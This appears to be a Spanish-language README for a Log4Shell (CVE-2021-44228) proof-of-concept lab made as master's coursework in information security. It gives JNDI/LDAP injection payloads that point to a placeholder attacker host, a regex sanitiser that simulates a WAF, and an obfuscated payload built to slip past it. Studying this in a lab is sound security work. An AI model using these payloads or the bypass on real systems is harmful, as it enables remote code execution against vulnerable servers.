
Prueba de concepto para la vulnerabilidad Log4Shell (CVE-2021-44228), desarrollada como parte del trabajo del curso para la unidad curricular TPAS en el Máster en Seguridad de la Información en la FCUP.
Este repositorio contiene una Prueba de Concepto (PoC) para la vulnerabilidad Log4Shell (CVE-2021-44228), desarrollada como parte del trabajo del curso de la unidad curricular TPAS en el Máster en Seguridad de la Información de la FCUP.
Incluye:
Para ejecutar este stack necesitas:
Una vez que todo está en ejecución:
Coloca este payload en la barra de búsqueda (codificado en URL ya que estará en un parámetro de consulta GET):
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D
O coloca este payload en los encabezados de una solicitud (puedes usar Burp Suite para interceptar una solicitud y modificarla):
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}
En el sitio web, hay un ícono junto al nombre del usuario que permite alternar entre sanitizar la cadena registrada usando la expresión regular \$\{jndi:.*?} o no. Por defecto, la sanitización está deshabilitada, representada por un ícono de demonio rojo. Cuando la sanitización está habilitada, el ícono cambia a una cara sonriente verde.
Esta función se puede utilizar como una forma de simular un bypass de WAF; puedes agregar más expresiones regulares en la clase LoggerManager.java del backend.
Aquí hay un payload que no coincidirá con la expresión regular actual:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}